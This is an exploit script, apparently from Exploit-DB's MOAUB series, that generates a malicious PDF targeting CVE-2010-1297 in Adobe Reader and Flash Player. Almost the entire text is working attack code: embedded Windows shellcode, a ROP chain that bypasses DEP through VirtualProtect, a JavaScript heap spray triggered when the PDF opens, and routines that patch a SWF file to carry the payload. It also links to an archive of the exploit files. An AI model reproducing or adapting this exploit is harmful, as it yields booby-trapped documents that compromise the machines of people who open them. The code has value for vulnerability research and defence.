Adobe Acrobat Reader and Flash Player – ‘newclass’ Invalid Pointer
''' __ __ ____ _ _ ____ | \/ |/ __ \ /\ | | | | _ \ | \ / | | | | / \ | | | | |_) | | |\/| | | | |/ /\ \| | | | _ < Day 1 (Binary Analysis) | | | | |__| / ____ \ |__| | |_) | |_| |_|\____/_/ \_\____/|____/ http://www.exploit-db.com/adobe-acrobat-newclass-invalid-pointer-vulnerability/ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14853.tar.gz (moaub1-adobe-newclass.tar.gz) Title : Adobe Acrobat Reader and Flash Player “newclass” invalid pointer vulnerability Analysis : http://www.abysssec.com Vendor : http://www.adobe.com Impact : Ciritical Contact : shahin [at] abysssec.com , info [at] abysssec.com Twitter : @abysssec CVE : CVE-2010-1297 MOAUB Number : MOAUB-01-BA ''' import sys class PDF: def __init__(self): self.xrefs = [] self.eol = '\x0a' self.content = '' self.xrefs_offset = 0 def header(self): self.content += '%PDF-1.6' + self.eol def obj(self, obj_num, data,flag): self.xrefs.append(len(self.content)) self.content += '%d 0 obj' % obj_num if flag == 1: self.content += self.eol + '<< ' + data + ' >>' + self.eol else: self.content += self.eol + data + self.eol self.content += 'endobj' + self.eol def obj_SWFStream(self, obj_num, data, stream): self.xrefs.append(len(self.content)) self.content += '%d 0 obj' % obj_num self.content += self.eol + '<< ' + data + '/Params << /Size %d >> /DL %d /Length %d' %(len(stream),len(stream),len(stream)) self.content += ' >>' + self.eol self.content += 'stream' + self.eol + stream + self.eol + 'endstream' + self.eol self.content += 'endobj' + self.eol def obj_Stream(self, obj_num, data, stream): self.xrefs.append(len(self.content)) self.content += '%d 0 obj' % obj_num self.content += self.eol + '<< ' + data + '/Length %d' %len(stream) self.content += ' >>' + self.eol self.content += 'stream' + self.eol + stream + self.eol + 'endstream' + self.eol self.content += 'endobj' + self.eol def ref(self, ref_num): return '%d 0 R' % ref_num def xref(self): self.xrefs_offset = len(self.content) self.content += 'xref' + self.eol self.content += '0 %d' % (len(self.xrefs) + 1) self.content += self.eol self.content += '0000000000 65535 f' + self.eol for i in self.xrefs: self.content += '%010d 00000 n' % i self.content += self.eol def trailer(self): self.content += 'trailer' + self.eol self.content += '<< /Size %d' % (len(self.xrefs) + 1) self.content += ' /Root ' + self.ref(1) + ' >> ' + self.eol self.content += 'startxref' + self.eol self.content += '%d' % self.xrefs_offset self.content += self.eol self.content += '%%EOF' def generate(self): return self.content class Exploit: def convert_to_utf16(self, payload): enc_payload = '' for i in range(0, len(payload), 2): num = 0 for j in range(0, 2): num += (ord(payload[i + j]) & 0xff) << (j * 8) enc_payload += '%%u%04x' % num return enc_payload def get_payload(self): # shellcode calc.exe payload =("\x90\x90\x90\x89\xE5\xD9\xEE\xD9\x75\xF4\x5E\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" "\x43\x43\x43\x43\x43\x43\x37\x51\x5A\x6A\x41\x58\x50\x30\x41\x30\x41\x6B\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41" "\x42\x58\x50\x38\x41\x42\x75\x4A\x49\x4B\x4C\x4B\x58\x51\x54\x43\x30\x43\x30\x45\x50\x4C\x4B\x51\x55\x47\x4C\x4C\x4B\x43\x4C" "\x43\x35\x44\x38\x45\x51\x4A\x4F\x4C\x4B\x50\x4F\x44\x58\x4C\x4B\x51\x4F\x47\x50\x45\x51\x4A\x4B\x51\x59\x4C\x4B\x46\x54\x4C" "\x4B\x43\x31\x4A\x4E\x46\x51\x49\x50\x4A\x39\x4E\x4C\x4C\x44\x49\x50\x42\x54\x45\x57\x49\x51\x48\x4A\x44\x4D\x45\x51\x49\x52" "\x4A\x4B\x4B\x44\x47\x4B\x46\x34\x46\x44\x45\x54\x43\x45\x4A\x45\x4C\x4B\x51\x4F\x47\x54\x43\x31\x4A\x4B\x43\x56\x4C\x4B\x44" "\x4C\x50\x4B\x4C\x4B\x51\x4F\x45\x4C\x45\x51\x4A\x4B\x4C\x4B\x45\x4C\x4C\x4B\x43\x31\x4A\x4B\x4C\x49\x51\x4C\x47\x54\x45\x54" "\x48\x43\x51\x4F\x46\x51\x4C\x36\x43\x50\x46\x36\x45\x34\x4C\x4B\x50\x46\x50\x30\x4C\x4B\x47\x30\x44\x4C\x4C\x4B\x44\x30\x45" "\x4C\x4E\x4D\x4C\x4B\x42\x48\x44\x48\x4D\x59\x4B\x48\x4B\x33\x49\x50\x43\x5A\x46\x30\x45\x38\x4C\x30\x4C\x4A\x45\x54\x51\x4F" "\x42\x48\x4D\x48\x4B\x4E\x4D\x5A\x44\x4E\x50\x57\x4B\x4F\x4A\x47\x43\x53\x47\x4A\x51\x4C\x50\x57\x51\x59\x50\x4E\x50\x44\x50" "\x4F\x46\x37\x50\x53\x51\x4C\x43\x43\x42\x59\x44\x33\x43\x44\x43\x55\x42\x4D\x50\x33\x50\x32\x51\x4C\x42\x43\x45\x31\x42\x4C" "\x42\x43\x46\x4E\x45\x35\x44\x38\x42\x45\x43\x30\x41\x41") return payload def getSWF(self): try: #swfFile = sys.argv[2] fdR = open('flash.swf', 'rb+') strTotal = fdR.read() str1 = strTotal[:88] addr1 = '\x06\xa6\x17\x30' # addr = 0c0c0c0c str2 = strTotal[92:533] #*************************** Bypass DEP by VirtualProtect ******************************** rop = '' rop += "\x77\xFA\x44\x7E" # mov edi,esp ret 4 rop += "\x94\x28\xc2\x77" #add esp,20 pop ebp ret rop += "AAAA" #padding rop += "\xD4\x1A\x80\x7C" # VirtualProtect rop += "BBBB" # Ret Addr for VirtualProtect rop += "CCCC" # Param1 (lpAddress) rop += "DDDD" # Param2 (Size) rop += "EEEE" # Param3 (flNewProtect) rop += "\x10\xB0\xEF\x77" # Param4 (Writable Address) rop += "AAAAAAAAAAAA" #padding rop += "\xC2\x4D\xC3\x77" #mov eax,edi pop esi ret rop += "AAAA" #padding rop += "\xF2\xE1\x12\x06" #add eax,94 ret rop += "\x70\xDC\xEE\x77" #push esp pop ebp ret4 rop += "\x16\x9A\x94\x7C" #mov [ebp-30],eax ret rop += "AAAA" #padding rop += "\xC2\x4D\xC3\x77" #mov eax,edi pop esi ret rop += "AAAA" #padding rop += "\xF2\xE1\x12\x06" #add eax,94 ret rop += "\x79\x9E\x83\x7C" #mov [ebp-2c],eax ret rop += "\x27\x56\xEA\x77" #mov eax,6b3 ret rop += "\x14\x83\xE0\x77" #mov [ebp-28],eax ret rop += "\xB4\x01\xF2\x77" #xor eax,eax ret rop += "\x88\x41\x97\x7C" #add eax,40 pop ebp ret rop += "AAAA" #padding rop += "\x70\xDC\xEE\x77" #push esp pop ebp ret4 rop += "\xC0\x9E\xEF\x77" #mov [ebp-54],eax ret rop += "AAAA" #padding rop += "\xC2\x4D\xC3\x77" #mov eax,edi pop esi ret rop += "AAAA" #padding rop += "\xC1\xF2\xC1\x77" #add eax,8 ret rop += "\xCF\x97\xDE\x77" #xchg eax,esp ret str3 = strTotal[669:1249] alignESP = "\x83\xc4\x03" sc = self.get_payload() if len(sc) > 2118: print "[*] Error : payload length is long" return if len(sc) <= 2118: dif = 2118 - len(sc) while dif > 0 : sc += '\x90' dif = dif - 1 str4 = strTotal[3370:3726] addr2 = '\xF2\x3D\x8D\x23' # Enter 0C75 , 81 RET str5 = strTotal[3730:] fdW= open('exploit.swf', 'wb+') finalStr = str1+addr1+str2+rop+str3+alignESP+sc+str4+addr2+str5 fdW.write(finalStr) #strTotal = open('exploit.swf', 'rb+').read() fdW.close() fdR.close() return finalStr except IOError: print '[*] Error : An IO error has occurred' def HeapSpray(self): spray = ''' function spray_heap() { var chunk_size, payload, nopsled; chunk_size = 0x1A0000; pointers = unescape("%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030"); pointerSled = unescape("<Contents>"); while (pointerSled.length < chunk_size) pointerSled += pointerSled; pointerSled_len = chunk_size - (pointers.length + 20); pointerSled = pointerSled.substring(0, pointerSled_len); heap_chunks = new Array(); for (var i = 0 ; i < <CHUNKS> ; i++) heap_chunks[i] = pointerSled + pointers; } spray_heap(); ''' spray = spray.replace('<Contents>', '%u33dd%u3030') # Pointer to XCHG ESP , EBX ''' Authplay.dll 303033DD ? 87DC XCHG ESP,EBX ############################################################# will do nothing 303033DF ? 45 INC EBP 303033E0 ? 05 00898784 ADD EAX,84878900 303033E5 ? 42 INC EDX 303033E6 ? 05 008987E8 ADD EAX,E8878900 303033EB ? 41 INC ECX 303033EC ? 05 008987EC ADD EAX,EC878900 303033F1 ? 41 INC ECX 303033F2 ? 05 008987F0 ADD EAX,F0878900 303033F7 ? 41 INC ECX 303033F8 ? 05 008987F4 ADD EAX,F4878900 303033FD ? 41 INC ECX 303033FE ? 05 005F5E5D ADD EAX,5D5E5F00 30303403 . B8 01000000 MOV EAX,1 30303408 . 5B POP EBX ############################################################ 30303409 . 83C4 30 ADD ESP,30 3030340C . C3 RETN ''' spray = spray.replace('<CHUNKS>', '40') #Chunk count return spray def generate_pdf(): exploit = Exploit() swfFile = 'exploit.swf' pdf = PDF() pdf.header() pdf.obj(1, '/MarkInfo<</Marked true>>/Type /Catalog/Pages ' + pdf.ref(2) + ' /OpenAction ' + pdf.ref(17),1) #pdf.obj(1, '/MarkInfo<</Marked true>>/Type /Catalog/Pages ' + pdf.ref(2) ,1) pdf.obj(2, '/Count 1/Type/Pages/Kids[ '+pdf.ref(3)+' ]',1) pdf.obj(3, '/Annots [ '+pdf.ref(5) +' ]/Parent '+pdf.ref(2) + " /Type/Page"+' /Contents '+pdf.ref(4) ,1) pdf.obj_Stream(4, '','') pdf.obj(5, '/RichMediaSettings '+pdf.ref(6)+' /NM ( ' + swfFile + ' ) /Subtype /RichMedia /Type /Annot /RichMediaContent '+pdf.ref(7)+' /Rect [ 266 116 430 204 ]',1) pdf.obj(6, '/Subtype /Flash /Activation '+pdf.ref(8)+' /Type /RichMediaSettings /Deactivation '+pdf.ref(9),1) pdf.obj(7, '/Type /RichMediaContent /Assets '+pdf.ref(10) +' /Configurations [ ' + pdf.ref(11) + ']',1) pdf.obj(8, '/Type /RichMediaActivation /Condition /PO ',1) pdf.obj(9, '/Type /RichMediaDeactivation /Condition /XD ',1) pdf.obj(10, '/Names [('+ swfFile +') ' + pdf.ref(12)+' ]',1) pdf.obj(11, '/Subtype /Flash /Type /RichMediaConfiguration /Name (ElFlash) /Instances [ '+pdf.ref(13) +' ]',1) pdf.obj(12, '/EF <</F '+pdf.ref(14) +' >> /Type /Filespec /F ('+ swfFile +')',1) pdf.obj(13, '/Subype /Flash /Params '+pdf.ref(15) +' /Type /RichMediaInstance /Asset '+ pdf.ref(12) ,1) pdf.obj_SWFStream(14, ' /Type /EmbeddedFile ',exploit.getSWF() ) pdf.obj(15, '/Binding /Background /Type /RichMediaParams /FlashVars () /Settings '+pdf.ref(16),1) pdf.obj_Stream(16, '<</Length 0 >> ','') pdf.obj(17, '/Type /Action /S /JavaScript /JS (%s)' % exploit.HeapSpray(),1) pdf.xref() pdf.trailer() return pdf.generate() def main(): if len(sys.argv) != 2: print 'Usage: python %s [output file name]' % sys.argv[0] sys.exit(0) file_name = sys.argv[1] if not file_name.endswith('.pdf'): file_name = file_name + '.pdf' try: fd = open(file_name, 'wb+') fd.write(generate_pdf()) fd.close() print '[-] PDF file generated and written to %s' % file_name except IOError: print '[*] Error : An IO error has occurred' print '[-] Exiting ...' sys.exit(-1) if __name__ == '__main__': main() |